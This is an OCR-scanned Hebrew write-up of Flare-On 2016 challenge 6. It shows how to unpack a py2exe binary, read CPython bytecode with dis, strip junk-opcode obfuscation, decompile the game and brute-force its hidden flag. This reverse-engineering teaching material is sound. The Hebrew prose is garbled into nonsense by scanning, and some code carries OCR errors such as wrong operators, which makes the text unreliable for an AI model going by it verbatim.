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Reversing Compiled Python

(reaction) AIX9 N7 NXN

nNTN

J'wyn a1y 1 N Compiled Python Reverse Engineering Xwian 7V 7'a0XI A'¥X DT WIXN]
NIN Flare-On .nMIXN W7 210w 1D ,72N) Flare-On 2016 7w #6 1ANK2 WNNWX IMNNNN NIRT
O .M NadNNA DoN9NNn WX FireEye nNan nran Reverse Engineering DINNA DMANK VO
A'WN? X'N Nonnil,@flare-on.com-1 NN WK 7'N'R NNINQ NNO'0 X'NWT7D 1T 7'On NanN

.NNIR

XA YRR DNANKD NIYY 75 DIK TIINY AWOK NwdI ,nntnon 2016 Nw 2¢ NINNNN N9IpN

http://flare-on.com/files/Flare-On3 Challenges.zip
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http://flare-on.com/files/Flare-On3_Challenges.zip

n'o'old m'po

D'NIN X LINIR 0¥ 1NIRYD .kahki.exe bwa TNX (PE Exe) NX1N YaIp 790 "anxn 7'nna nan

17w NNIroan 190n NX 19101 ,100 TV 1 7w NHLVN 010N 190N WN17 NN'NN Ypan Xin D

BN ChWindows\system32yomd.exe

ssUserssAdmin“Down loadssf lare—on“b >*khaki
(Guezzes: 1> Pick a number hetween 1 and 188:58
Too high. try again
(Guezzes: 22 Pick a numbher hetuween
Too high. try again
(Guezzes: 3> Pick a numbher hetuween
Too high. try again
(Guezzes: 4 Pick a numbher hetuween
Too low, try again

and 188:25
and 188:12
and 188:6

Too low, try again

(Guesszes: 62 Pick a number hetuween
Too low, try again

(Guesszes: 73 Pick a number hetween
dahoo, you guessed it with 7 guesse
Ctatus: ¥ guesses

and 18@:10@
and 18@:11

1
1
1
(Guesszes: 52 Pick a number hetween 1 and 160:9
1
1

.NDINN 72U NN NRAITN 7Y 72N0nYT7 D'WATI IR .wNn X7 70210 )on 'on? 071D 1INIX DRN

.py2exe ™y XNY YAIP INT :NDIMN 7V '0'01 'OVO NINM Y¥IIYW Yad 117 V712 TIND TR AT

NI NIPXPITIRD

.NVIYD N'ON' 'RNIY NIDINYT M9IR K7 7712 INT ,3.63 MiB XKIn NDINN 7712 @

-1 “PYTHON27.DLL” nmmwa directories W' PE header-2 X¥niw resource section-aw nNX1]1 e
“PYTHONSCRIPT”

Could not load "-1 “PY2EXE_VERBOSE” > ,NIXRXIN 77¢ 22 N¥INN yalzd NITNNN WI9'n - e

"python dll

DNRY NIFNY 710 ,IN"9 NTya Windows N2107 NNSY 0d% NX¥' DX .7907 DIpPn N2 XD |'N
-7 native N1dN NOXE LN DAMIN DY/0U9MPO NNRIY NN NIT .py2exe NX D1'DN
NN AWK NIMD0 NI7N X771 ,N1DINN NX YW QawnNnn 7y [IN'9 DI'pA NI K77 :Windows
nNnnn '70N .001v 0fawnn 2 Windows-7 portability oy 271y [2md 01 12T .n1Imn ynn 78X
17 0NNt exe-7 (dII-) (Mo w1on 0'9¥N ,TIRPVMAT INUON TIP NIXK DTN 71T ,0017 X7 KIN

2.7 X'N NUNIYNN [IN'90 NXROMA ,NT NM7NA . TIRV" AN NX Yn"?

DANKRN 7W N0NAN DY) L[INT9 7Y 2.7 NONA2 WNNWN'7 10X ,INKN] 'wnin? Nin 7y :aiwn
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[IM"'D VOMPO DITNNWD .JAIND TIRLV"AN NX A'WNY 7NIYYYT D'DMIY INIRY IR 12T NN TR
pyc-n '¥ayp NX Y7Nn7 1O .00j7Vd KM X7 |2mMd WK (.pyo IX .pyc) YTINN yYalp o'7am L(.py)
JINJN 'R TWON INIKY ,unpy2exe.py X172 09701 WNNWI WIN'WIaY

https://github.com/matiasb/unpy2exe

-1 Py2ExeDumper® 10> ,n71V90 NNIX NIX NIW¥INW NNNXK NIDIN2 WANWAY? [N D DA ["¥X)

.(Py2Exe Binary Editor”

B Ch\Windows\system32\cmd.exe

sUserssAdninsDown loadssf lare—on~b2py —2.7 unpyZexe.py khaki.exe
agic value: 78563412
ode bytesz length: 4386

rchive name: -
wtracting hoot_common.py.puc
xtracting poc.py.pyc

DIYN [IYXINN D7UNNY7 0710 12NN .“poc.py.pyc’-1 “boot_common.py.pyc” D'¥APN IW NX 727
N¥INN Y2172 D'RYNI DN 210N ZOY 1R 1770 D'¥APN YI?'N D Q'0IR .py2exe-7 1"'UY TIP KINY
DX '2N7 1D unpy2exe.py 7W N1NZ-7p0 ignn T v DNon7 172N (resource) aNWND

Rirhhh

y¥1% Dn'7a10n YW Easy Python Decompiler-1 ,decompyle®, uncomyple6’ > 0" mw
7571 NIYY? "1N1IY nn j)amd N1 LIRTN DR VYWO'ZI (MINSY7 ,0aN) DTN 0¥ decompilation

Mo TI7 A TINAN Yaipn DX N7 0'7w01 DN D 0721 ,0N2 WNNWNT7 1011 DX X ;NTY Npn

C:\Users\Admin\Downloads\flare-on\6>uncompyle6 poc.py.pyc
# uncompyle6 version 2.9.3
# Python bytecode 2.7 (62211)

Traceback (most recent call last):
File "c:\python27\lib\runpy.py", line 174, in run module as main
" main_ ", fname, loader, pkg name)
jump targets = self.find jump targets()
File "c:\python27\1lib\site-packages\uncompyle6\scanners\scanner2.py", line 844
, in find jump targets
self.detect structure(offset, op)
File "c:\python27\1lib\site-packages\uncompyle6\scanners\scanner?2.py", line 621
, in detect structure
jmp = self.next except jump (i)
File "c:\python27\1lib\site-packages\uncompyle6\scanners\scanner2.py", line 462
, in next except jump
self.jump forward | frozenset([self.opc.RETURN VALUE])
AssertionError

! https://sourceforge.net/projects/py2exedumper/
% https://sourceforge.net/projects/p2ebe/

® https://sourceforge.net/projects/decompyle/

* https://pypi.python.org/pypi/uncompyle6/

.decompyle++-1 uncompyle2 0757 GUI N'Th NP9ONI 01"y NVWON TR NN T °
https://sourceforge.net/projects/easypythondecompiler/
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['22 NAINN NPIM 1A Yalpn DX NN9) DX .decompilation-n AT NPITIY NANN NI 770 a¥m

w0 P71 ,pyc-a DN K7W D1on T'NR N1anY (assert NNTYA) noxn "0 D

count_END_FINALLY = ©
count_SETUP_ = 0
for i in self.op_range(start, len(self.code)):
op = self.code[i]
if op == self.opc.END_FINALLY:
if count_END_FINALLY == count_SETUP_:
if self.version == 2.7:
assert self.code[self.prev[i]] in \
self.jump_forward | frozenset([self.opc.RETURN_VALUE])
self.not_continue.add(self.prev[i])
return self.prev[i]
count_END_FINALLY += 1
elif op in self.setup_ops:
count_SETUP_ += 1

.pOC.py.pyc-2 N¥XNIW TIj70'"21 11217 Y7X1 :NINM2 N2N 17 'R

python internals 7y nxp

JTAIY 70VN 'R 227 DMWY IR QT 21 OX W1, TR0 AN DX ENY 'NNIY 197 TR, YRIN

[IN"9 727U NYNONN DN TN [IN'D YAl 7' NNl AR 'R DYAIRY DNATN D Y7 w700 197
,PYPy Ind> ,Nn'ion Nynunl WNNwl OXY MIX 0T 12T ;wm'waw nonanl (implementation)
MY [IN"9N NONA7 DA QPN MATH INIX .0NNKRY O'RNN K7W X1 7371 L Jython-1 ,IronPython
1'UN D DX RIR—NIN'RN-'RA 77N ,NINKR N0A7 Y TINY TI YNIN'7 N¥1 DX ;D'YNNYN NNIN
N072-NN 12vNY? DAl 3 INY'97 2 [INY'9N 12N 11D '"MIyAwN '12'W7 DA 121 T 12T .TIRN "' XN
,TV'N DY NIN'RN N'0QNT7 TWONR DR X7X ,0TA7 pyc 'Yap D'¥'9N X7 27 ,IT naon .2.7-7 2.6 1nd
NON12 WNNWN'? 710X ,poc.py.pyc YaIpn NX yNin? Nx¥11 DX |7 .embedded scripts > n1jpzna

Jmvo 7w 2.7

OX UIin'va a'nny aynoan At . Jin"s 7w NX191 DN DAL L?ThRN NNNA NYAoN KN CPython

[AT7 121 N2 771 IR NN py2exe ,q0M2 .(https://www.python.org/) mwan ANXNN [IN'D |'N)

X'n NT AYpNnd nynuvn NS0 'oNn? M 72 .ONKN2 2.7 oMl IT Nynun 71 [IT .N2'mdN

(Mo fan X7 |2mMd TWK) Taynn Y INIK yNn? DNRALINTD VOV NNE7 KIN NTPONY NN

¥ D'N2 NYQOX NITY 29N N2AdIN NNNDN .code object-1 ,mAnD ZD'|7'7I'\ 1YUn 1071 pyc Yaly

'Y T DNNIN DAY WX DN NYAIRI(python magic number) IN"'9 NOMA a¥''nn 190N
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Y2l 7712 IR 70N QWK D' NY2IX 7TIA NTY TV QOoNNn 3.3 [INY'91 N YAl Yo jnnx

Alnn

TIY2 ,N0NAN NIX A¥'N NNKI NONAN NTYA DIIYXRIN 0NN IWIAY 190100 71 :N1'Myn N1y
MPNa NINY NXRAY? DNA7 NI017 X' Miwn N1 non L(“\r\n”) CRLF bn 0NN 0'Man vy

!UOFL’) AXN] "IXI'AN Yaln DX 0D'NNIBY

N7 VPN 10N IR ,NP7NN 2T ,NNRAID 11D ,NXIN TIRP N0'S 7w M9 AN KIn code object
Jin'wa 0172 ninwl L0727 ,00NwNn 0 (1A ,TIRY 2N YT DA KR, TIR0M 71 KT '7Dn
DX ,compile() N*'LITIVON N'¥AI9L ITYY ,NNYION TIP NTNNN 7Y TIPN VPR DX 7277 NX) DX
Y7219 7 TIEn VR AIRT? NWAYT 02 721 .types.CodeType()-2 wnnwl ,NIT TR O 2AIX MIX'? DX

.__code__:+3[In"o1 D'wnnwn 1R DX IX ,func_code NidNN NOTva Nn'ion

>>> code =
from math import pi
if pi < 3.14:
print('0Oh no!")
>>> compile(code, "<string>", "exec"
<code object <module> at ©2288D58, file "<string>", line 2>
>>>
>>> def simple_func(intl, int2):
result = intl + int2 + 5
print("The result is: {@}".format(result))

>>> simple_func.func_code

<code object simple_func at 022E8B60, file "<pyshell#14>", line 2>
>>> simple_func.func_code.co_name

'simple_func'

>>> dir(simple_func.func_code)

[' _class__ ', ' _cmp__"', ' _delattr__', ' _doc_ "', '_eq__"', '__format__"',
' _ge ', '_ getattribute_ ', '_gt ', '__hash__', ' __init_ "', '_le_ ‘', '_1t_ ',
' ne_ ', ' _new__', ' reduce__', ' reduce_ex__', ' _repr_', ' setattr__°',

' _sizeof__', .., 'co_argcount', 'co_cellvars', 'co_code', 'co_consts',
‘co_filename', 'co_firstlineno', 'co_flags', 'co_freevars', 'co_lnotab', 'co_name’,
'co_names', 'co_nlocals', 'co_stacksize', 'co_varnames']

>>> simple_func.func_code.co_consts

(None, 5, 'The result is: {@}")

>>> simple_func.func_code.co_varnames

("int1', '"int2', ‘'result')

>>> simple_func.func_code.co_code

' | \x00\x00 | \x01\x00\x17d\x01\x00\x17}\x02\x00d\x02\x007j\x00\x00 | \x02\x00\x83\x01\x0
OGHd\x00\x00sS"

>>> simple_func.func_code.co_names

('format',)
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nNaYN NI'ONANMIXK NI7IVOYW TNIRY NN ,stack-based X'n CPython 7w (VM) Nn'R101In nadnn

X86-1 W'Y IND DMAIN |'X .NI0NNN NITYA 1Y¥AN' Tyl ,01Y NI'YO NIYI97 D'0INIANKR

.NI0NN-NI00IAN [N DA Java-1 .NET 7¥ nI'axioN i nninnn

N NN NIIYSN 1T0 ,NNoNn-00ian VM-1 DM1%0n v 7'9507 N1l DX

.nnaonn? #1 oon 7w no'nT .1

nnaonnY? #2 oon 7w no'nT .2

J1770 DIRAIND DN DX YXAN DYVAY ,N7950 NXIN .3

Jnonnnn #2 1o0n W N9 o

Jnonnnn #1 1o0n ' N9 o

.0"M50nn

ny 2w 1N o

.nnonn7 npon 7w N9'NT o

NN 21 TOS3 ,TOS2 ,TOS1 n1idn wx1? NNNnw 0'uanxnl , TOS Naidn NRoNNN WUXIAW N

.TOS[-i] 172 OPTAI'R NIIXA D'ION DIP™M AX"'7 DA N1

A'WNT7 TWORY LPMAINT I ,TIR VP"AIR? disassembling Yy¥27 17 AwoNn dis 'vITIVON 7ITINN

I7'R 10D ,TI7V™M AN NIRIN 7Y YT 79w 200 dis ;90102 7T I D¥19 1nd TR VP AIR 11N

no0nNn ']1\)'7 nn'ion TV NRAIN M7 117 DNYONNN 0217 ,D'0ININN m‘npn niXIN

:D"MN TP ¥ menn reference-n NX NN dis 7w AYOMIPITA LTIV 19071 DNIK AXAN

YN D U¥R DRIIN 7 7Y OIRM RNPYT 17210 DI, https://docs.python.orgf2/library/dis.html

dis-7 NnaIT N1 .'1DINIRIIN 0YI'WN DR QPY7 NN 7Y [INTO NONA 701 NIY NX7 N'N0INIRITAY

DT NNTANY A'X211I9] hynnvnn

>>> import dis

>>> dis.dis(simple_func.func_code)

3 0
3

6

7

10

11

4 14
17
20
23
26
27
28
31

LOAD_FAST
LOAD_FAST

BINARY_ADD
LOAD_CONST
BINARY_ADD
STORE_FAST

LOAD_CONST
LOAD_ATTR
LOAD_FAST
CALL_FUNCTION
PRINT_ITEM
PRINT_NEWLINE
LOAD_CONST
RETURN_VALUE

0 (int1)
1 (int2)

1 (5)
2 (result)
('The result is: {@}")

(format)
(result)

P NON

9 (None)
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NYIN 2V T N 2N 22 DA Mant aRfMP? vIYS 1'D ATh 011N TI ,0'RN DNXRY 1D
-1 TNl ,NTN 7702 ,int2-1 intl D'0INIRN DX N1oNNY7 qINT? Nan 7y LOAD_FAST-2 D'wnnwn
-7 NNTN2 NRXINN DX INT71 112NN DX Y¥a7 ,TOS1-1 TOS NX nnonnnn 917w 1> BINARY_ADD
NXXINNY DIYN 12'N D'W¥ani Nonn7 5 190nn NX 71 DI DySn AN Ty oyyan .TOS
Y2190 JUNN result MNWNA ARXINN DX DNIY [XON INK71,N0NN NIXYA 12D NNTIN

RYINN 7w 0790 y¥ann

178 DM90Nn :D190n DN STORE_FAST-1 LOAD_FAST > NIXIIN? D'0OINRMIRAY D7 17 nw
VINZX7 DN DXV STORE_FAST 2 .AX1INN 7¢ yT'AN DX 701 pY 1yn? D'opTI'Rd D' T79NN
0VINIAIXA OFTI'RN VN NT'R7 YT .result NINWNN LI'RIW 19D ,XINI ,CO_varnames YNl W
2V N1 IMPORT_NAME ,co_consts 7y N7v19 LOAD_CONST :nnxy nXIINN '9% I'7X [1dNn

.'IDI,co_names

:disassembly-n 7w VNNI9N 227 DT NND 'YX

MIYXIN DXINN ,NNAIT? . TI70™2 ARINN 9w offset-n NN D''¥n NIKIINN T'7W DMSonNn - @
.01NIMNINYT DY ,NNXY DRIINT TNXR DN nwI7Y NnpiY

T 0'2AI0A1 ,NINNA NN ,NNYY ARIINND NNKX FINA 1019 NIV DIKIN 7W 0INDIRD e
VINZRN NX |"¥xn LOAD_CONST 2 :nnaiT? .JidNN VINIAKRD PI'T2 NNY7 J'I¥n VINIRARN
.DTIR 'R 19D [‘The result is: {0} 1D ww ,simple_func.func_code.co_consts-1 2 o7 T1'R2

PINN 78NWA 4-1 3 DN190NN1 1PN TIRA AYWTN TIZ MY DI'¥A TIPn 'R172 9w faannn e
AN T2 N'NOIRN TN DY NIX DAX'N

D NN DIRT DXL L“>>7-2 DTN (N'7R D917 7wnw 1) NN RN e
1 ) 7In ( i

T 7IT2 VINIARN DX .0'N2 Y 77122 KIN DRIINT VIR 7D ,offset-n MD0NA D'RIN 1IRY 19D
Y TIY POONI N'ONIN NRIINN DX OTpNY EXTENDED_ARG nNX1IN2 D'YNNWN ,0'Na W7
little M2 DMWY 17RD D'VINIARD L[XD NTD NIPNA 7PN X7 X ,(most significant-3) DM

.endian

XY NIKIINN 7TRW MIRY N, 16-bit wordcode-2 TRV AN 97N1IN +3.6 [IN"'92W NYT? DA |"yn

TR DIPNA D'NA YW KRIN (D'0INIARD K7Y7)

7w 07nmn aNn L2 Inve 2y (Va1d) nooiann LPyPy ,NNIMY7I9191 N'MIWN NNYLN D 9'0IX
D"I'Y DY TIPLVM ININAL ,TIR 'O AN NYNANWN PyPy 3 DA D'97N MIDTN YaDYW DTN

JOIN IMINA dis 7ITIN2 wnnwn? [Nl ,0minm
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MANND [INND

TIiPA WNNWI .poc.py.pyc-2 'IXAn TIpn 7w disassembly-n X 72772 7'nNa .121anK? Itha nan

AT NVNY? Xan

import dis, marshal

with open("poc.py.pyc", "rb") as f:
pyc_header = f.read(8) # first 8 bytes comprise the pyc header
code_obj = marshal.load(f) # rest is marshalled code object

dis.dis(code_obj)

(">" nITya) nYon yaiR'? nTIEon MIvn V79N NX V'oNYT IDIVXN 1A% IN'WY

Jlist, tuple, int [1A> D'019'0—D0'N'ION [IN'9 DIV 2MD7I KN77 "WWORN marshal '01TIV0N 2ITINN
-1 pickle D'2ITIMN M3 Y2 ;N¥M N0 2 NINRN N'VQ'Y IR VNII91—object code [aIMDI
¥ N2'MdI AR NN T AR K¥YN KIN TR D770 NnunY 12 D'wnnen |'RY 71 ,shelve

.N2AN NI X7 nTY nNnY ,|IN''S NIXRONA ' NINWAT? 710 NTh MIXI'AN VNI ATINN [IN"9 TIy?

2 © LOAD_CONST 0 (-1)
3 LOAD_CONST 1 (None)
6 IMPORT_NAME 0 (sys)
9 STORE_NAME 0 (sys)
12 LOAD_CONST 0 (-1)
15 LOAD_CONST 0 (-1)
18 POP_TOP
19 LOAD_CONST 1 (None)
22 ROT_TWO
23 ROT_TWO
24 IMPORT_NAME 1 (random)
27 NOP
28 STORE_NAME 1 (random)
4 31 LOAD_CONST 2 ('Flare-On ultra python obfuscater
2000")
34 STORE_NAME 2 (__version_ )
37 ROT_TWO
38 ROT_TWO

nINwn 'Flare-On ultra python obfuscater 2000' 1NYN NX DMWY KIN |'V7 YOI [IUXRIN 12TN

._version__
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T 'WOPN2 'N2NYT 7211 N9 TIPN DX IR0 DX L[PRI LTI obfuscation-7 nay TIKN ™ INT

TTIPN 72 NN DY'oImw 7ar

NN 72V NYOwN XD 'K ;DY TIY TXI,TOS1-2 TOS nX 9*72nn :ROT_TWO, ROT_TWO e

-1 ,TOS1 ,TOS ny " ,ROT_TWO 1> 119'on INIX :ROT_THREE, ROT_THREE, ROT_THREE e
.TOS2

NI '0N T TXI,N1I0NNY VIap qniT :LOAD_CONST, POP_TOP e

.N71V9 DIv y¥an X7 :NOP e

727 D"KINK DN 1MINYY T'PON TIY D'YYAN X7 ,TI7N DX 207 1D 71 oW X7 1990 7210 nikin
D'720 7w nnywnnl "nana"n npaln 7ixa My nne ,decompilation N1av? o X7 Tipnw

STIPN v nxIN NwoNnl ,|]AIMD N'A'X] ITD X7 NNXY NIRIVIYIN NN .N71V90 NIX D'YXYANn
ZDDﬁT'ﬂWJ'TWDn71U9N|NDD

NINS NN NMI¥A IX L, 7MY 'Nn XY disassembly-nn 72t TIp DR 2INN7 2'nN DNX T
NNAIT? ,YIIX VOV NIV 722 01NN D'™M71A0 DMV NND NITYA N97NNIE WIS'N :NNo''N

o +?NOP\s*\r\n

e +?LOAD_CONST.4+?\r\n.+?POP_TOP.+?\r\n

e +?ROT_TWO.+?\r\n.+?ROT_TWO.+?\r\n

e +?ROT_THREE.+?\r\n.+?ROT_THREE.+?\r\n.+?ROT_THREE.+?\r\n

nIKINN 7Y AvIIPITY ITYa  Ldisassembly- NNIWA NIMd DX NIXN? 210 1T nNi¥a

oy 27'v2a (MY T [aN) [nivnwn DX 207 1 (https://docs.python.org/2/library/dis.html)

N7 NI' NN disassembly-n M0 AWV TIER AN At nexa e At inieIinto] 0ol v

.x86 assembly N> 12N

1770 DNIWA R N2 19PNN 2IRY 2R NYYaN

495 LOAD_CONST 16 (<code object <genexpr> at ©2219B60, file "poc.py",
line 80>)
498 MAKE_FUNCTION %]
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.N10NNY NNIN DONIT TP UPMAIK KINY 16 OPTI'RA VIR NN NXZ219 DNXI'Y [XD D'NN 11NN

77,27 DNT WYY 'RY TIRD DNIT 0T 2T OMAIR JIN2 KYMIY TR ORTMAIN N N

2VIApn NX dis.dis-7 1'av) nyonw

>>>
>>>
>>>
>>>
>>>

80

import marshal, dis
pyc = open("poc.py.pyc”, "rb")

pyc_header
co =

pyc.read(8)

marshal.load(pyc)

dis.dis(co.co_consts[16])

>>

awoe

9
12
15
18
21
24
25
28
29
30

>> 33
36

LOAD_FAST
FOR_ITER
STORE_FAST
LOAD_GLOBAL
LOAD_GLOBAL
LOAD_FAST
CALL_FUNCTION
LOAD_CONST
BINARY_XOR
CALL_FUNCTION
YIELD_VALUE
POP_TOP
JUMP_ABSOLUTE
LOAD_CONST
RETURN_VALUE

0 (.9)
(to 33)
(x)
(chr)
(ord)
(x)

(66)

ORRPRRERORN

=

(None)

N9 .decompilation y¥2a% 721w N1n 7y myy TIipnn 2ata Tip DX 20N AN 'wnn? T

.DMANKN NN N¥'Y N1an oniX ,FLARE NilX NXn bytecode_graph 71Tmn namn' 01

;Ixon X ,(pip install bytecode-graph) pip 10T '2ITmn NX TIN7 TWOK

https://github.com/fireeye/flare-bytecode graph.

NX'OP "TY' M2'Y IND D'XIN] DT 79001, NI7PA TIR UPMAIRA NIXIIN Y7 117 AWORN DT 71T

.IDINIRYIN NNoN NKR

13
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ANINND ,GraphViz N12INN NITYA TI7VMA7 N7 NNPA 913 A'¥n? AWONN N7 721min ;)27 qonma

22 2V 2A'NIR X7 R ,NLN7Y NaImna

: .

155 LOAD NAME 10 (input)
158 LOAD_NAME 4 (target)
161 COMEERE_OF o (<)

164 POP_JUME_IF FALSE 175

# 23 if {input < target):

" 1 r

175 LOAD CONST 10 ('Too high, try again') ig; {;g?ﬁfcgﬁﬁ 9 ('Teo low, try again’)
178 ERINT ITEM =

7 " 1 r
# 26 print('"Toc high, try again') # 24 print('Too low, try again’)

171 PRINT_NEWLINE

175 FRINT NEWLINE 172 JUMP_FORWARD 5 (to 180)

180 LOAD NEME 5 (count)

183 LOAD_CONST 3 (1)

p=| 186 INPLACE_ADD
187 STORE_NEME 5 (count)
180 JUMP_ABSOLUTE &3

oOAVIE NINNSND NIKNIN NINY- DY

[I'7'"n—dis.opmap-1 ,marshal ,bytecode_graph-2 wnnun

22ATh NN DR Yony 0970 AIX'"7 "T>—0'DW) 190NN

#!/usr/bin/env python2

import marshal
import bytecode_graph
from dis import opmap

def nop_junk(bcg):

Turns junk code to NOPs.

# resolve mnemonics to values
nop_val = opmap["NOP"]
rot_two_val = opmap["ROT_TWO"
load_const_val =

opmap[ "LOAD_CONST"]

]

14
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pop_top_val = opmap["POP_TOP"]
three_rot_three = tuple([opmap["ROT_THREE"] for _ in range(3)])

# 1iterate 1instructions
for node in bcg.nodes():
if node.next is None:

break

if node.opcode == rot_two_val and node.next.opcode == rot_two_val:
node.opcode = node.next.opcode = nop_val

elif node.opcode == load_const_val and node.next.opcode == pop_top_val:

node.opcode = node.next.opcode = nop_val
elif node.next.next is not None and \
(node.opcode, node.next.opcode, node.next.next.opcode) ==
three_rot_three:
node.opcode = node.next.opcode = node.next.next.opcode = nop_val

def remove_nops(bcg):

Removes NOPs from bytecode

for node in bcg.nodes():
if node.opcode == opmap["NOP"]:
bcg.delete_node(node)

def main():
with open("poc.py.pyc", "rb") as pyc_file:
pyc_header = pyc_file.read(8)
co = marshal.load(pyc_file)

bcg = bytecode_graph.BytecodeGraph(co)
nop_junk(bcg)

remove_nops(bcg)

new_co = bcg.get_code()

with open("poc-deobf.py.pyc", "wb") as pyc_deobf:
pyc_deobf.write(pyc_header)
marshal.dump(new_co, pyc_deobf)
if __name__ == '_main__':
main()

(nodes) TIFV"IA AXIN 7D 7Y DMAW ,pyc-Nn TIPN VPR DX DAY NIX (0IYD T TN
DMNIY 910271, TIiPvann 0'-NOP-n 75 NX DM'on 1IX 2 WNX ,0'NOP-7 72t NINAIN NN D91

.poc-deobf.py.pyc yaIj77 wTnn Tz VPR DX

.decompilation a'win'7 1> uncompyle6 M> 701 wnnwin'? 75311 nY>
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:ANAN NTIRON DX YN (pip install uncomyple6) pip 1T 7ITMN DX |'PNN7 TWOK

uncompyle6 poc-deobf.py.pyc > poc.py

NI'YA K77 IN"'9 V90 7271 NN NNNNYYI

import sys
import random

__version__ = 'Flare-On ultra python obfuscater 2000’
target = random.randint(1, 101)
count = 1

error_input =
while True:
print '(Guesses: %d) Pick a number between 1 and 100:' % count,
input = sys.stdin.readline()
try:
input = int(input, 0)
except:
error_input = input
print 'Invalid input: %s' % error_input
continue

if target == input:

break
if input < target:

print 'Too low, try again'’
else:

print 'Too high, try again'’
count += 1

if target == input:

win_msg = 'Wahoo, you guessed it with %d guesses\n' % count
sys.stdout.write(win_msg)
if count == 1:

print 'Status: super guesser %d' % count
sys.exit(1)
if count > 25:
print 'Status: took too long %d' % count
sys.exit(1)
else:
print 'Status: %d guesses' % count
if error_input != '':
tmp = ''".join((chr(ord(x) ~ 66) for x in error_input)).encode('hex")
if tmp != '3122232f272e27313162322e372548":
sys.exit(9)
stuffs = [67, 139, 119, 165, 232, 86, 207, 61, 79, 67, 45, 58, 230, 190, 181,
74, 65, 148, 71, 243, 246, 67, 142, 60, 61, 92, 58, 115, 248, 226, 171]
import hashlib
stuffer = hashlib.md5(win_msg + tmp).digest()
for x in range(len(stuffs)):
print chr(stuffs[x] ~ ord(stuffer[x % len(stuffer)])),

print
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DANKD TIR 79 npo Y

T2 D'ION M1%01 X7 W |'TN7 01X NNIX .25-1 NINSDI TNXA NI NIFMY NDMY D'YWINYIN NiNd
D'NAN NX 091N ,66 190NN DY XOR yxIan error_input 7w DN 7V .error_input NN X7
:NIN2N NTNNAN OV NPT ARXINDL 0PN NTNNNY

312a232f272e27313162322e372548

ATD NI¥2 DTN DNNAZRN DX q19N1 DX

>>> import binascii

>>> ''.join((chr(ord(x) ~ 66) for x in
binascii.unhexlify('312a232f272e27313162322e372548")))
'shameless plug\n'

.0'wINn M “shameless plug” |'Tn7 0'D"MX 11NIX D 7272

01T 190NN DX WN17 DDMXY NIRY DN, tmp-l win_msg 7¢ lwawnn MD5 WRN DX
D'YNNYUN 2 INKX .0'WINYIN 190107 DRNNA NMINYN win_msg-¥ DIYN ,0'YIiN‘ 7y '9'¥50 19002
NNO'0 X' NMINDIYW NTNNN D'0'9TI (stuffs) ciphertext-7 XOR N19¥N2 NNON> WRN INIXA

UNTN D'YIN1IN 19017 yan? nin v XNy brute force-2 wnnwa .NaANKN

import sys, string, hashlib

def is_printable_string(stringy):
return all(c in string.printable for c in stringy)

tmp = "312a232f272e27313162322e372548"
stuffs = (67, 139, 119, 165, 232, 86, 207, 61, 79, 67, 45, 58, 230, 190, 181, 74,
65, 148, 71, 243, 246, 67, 142, 60, 61, 92, 58, 115, 240, 226, 171)

for i in range(2,25):
stuffer = hashlib.md5(b"Wahoo, you guessed it with {0} guesses\n{1}".format(i,
tmp)).digest()
plaintext =
for x in range(len(stuffs)):
plaintext += chr(stuffs[x] ~ ord(stuffer[x % len(stuffer)]))
if (is_printable_string(plaintext)): # plaintext is probably printable
print("Correct guess number: {@}\nPassword: {1}".format(i, plaintext))

ININ V7901

Correct guess number: 11
Password: 1lmpOrt3d pygu3ss3r@flare-on.com

N7N1Mmn nno'on NN Mwn Int InTl
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[NN97 noon T

DANKRND DX NIN9Y NIn 2y 1INY 7510 N2 T TV R A'¥N7 DXIR N ANKRD 9107 1yan DIk
D'DOT 190N NI'YYAY NWa N7I0' ,DPOIX NANTN X' INRAN 1NN DNRY X' D7 naon
NN Y NYUNNWN XX ,'WHY TN 0Y701 019N NARCIT N0 L9011 .N0I9N NOTINA NI NNNiN

.17 NPooN 1) |INT'oY

UOMZO DIYN7 TINN VIYD 117 NN 1720 VOV YANT7 M 7V XOR-1 MD5-1 IWNNWN DTN 1aNK2
N7 DNNY UKD NY¥7119] D'YNNWYN I'N DX NN X L[INN9Y7 v'anT? Nan 7y n71y9 NNIX NIX y¥any
dis N1V NN DYW )02 AWNNNA 7quioni 7a110n n'n decryption-n TR DX IX 7NINT? 0'N7¥n
['TN7 DNINR DRY NIpPOoNn7 DAl ,24-7 2 |2 NI'n7 MIMKR D'YININ DINdY mzon? van? 7an
,(NINNY 7w DT NIMd DY) PNWnn DX PNYY 0IWO 7011 ,0'wiININ NXRYI7 nya “shameless plug”

.NILAY D'WINY NIND 722 727NNN V790 NX [IN2IW P2 [INNSY7 VANl

NNV *MITIN 190N WN17 NI017 N¥11 X7 07NN '™ |I'VY 1IND Yyl X7 0T ,MIYKY NAwnna
X7 DM90n 23 1Y NXT NIYY7 10¥1 VDA DD NnaYy navnnn Dal LD'win 1wl 1-100

?7721nY 190NN NX 0'9T1 DX NN Zfan)’J'? NO13] NIXNN N9 AT [N NP' 1ATN . TNIMA NTTIVN

INmiynwn Axpn' "y 73 ™) LDl
.NXP NNY22 NTIAYA 7'NND LNXY TI70 AN '1'Y NNTYY NIRT Y¥I)

NX disassembly-n VOFVN MION 72T TIP NN 771D WK LK NIPNAN pyc-N YAIPA YNNWK IWN

NN 7'awal 0izna J10n7 nan 7y 7atn TR

‘target nxnwna 772N 190NN NX DY TIPN n7'nna

6 39 LOAD_NAME 1 (random)
46 LOAD_ATTR 3 (randint)
49 LOAD_CONST 3 (1)
52 LOAD_CONST 4 (101)
55 CALL_FUNCTION 2
58 STORE_NAME 4 (target)-

IN) “shameless plug” |'Tawd 7272w N AWN NYTIN KIN (target) '72amn 19000 NOSTNY |'Ixn TV!

((moon X7 1w '»

17 174 LOAD_CONST 8 ('Invalid input: %s')
178 LOAD_NAME 6 (error_input)
181 BINARY_MODULO
182 PRINT_ITEM
183 PRINT_NEWLINE
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TNNXRN NO9TNNY DIYNA DAl ,NAXN? MINWN VINIAXD ]'\'73.|7YJ ITN NOSTNNY DIYN Nl TY' N7

:0IIANR D770 WK D'YINYIN NIX7I7A

[}

' (Guesses: %d) Pick a number between 1 and 100:' % count

.QVUXYW D'YININ NIND NN 'YIN'Y VT 17 npyoson

127 YO N¥P DDMX DR 'YWOY .N7ynw disassembly-n 'Wwop wa 117 YINan yTMN DX 112wUn

.types 7ITimn

2Tmn D1 ,0mMw 00N ,0MI0MA L,DMYITIA NI (0PMAIR KIN 720 VYD IN'O1 17 VITD
5"noa |n list-1 int 10> NINAM NILYPAIS .0'VP"AIK DNIX 7Y D'0I9'VNN 77N 7'JN types 'VITIVLON

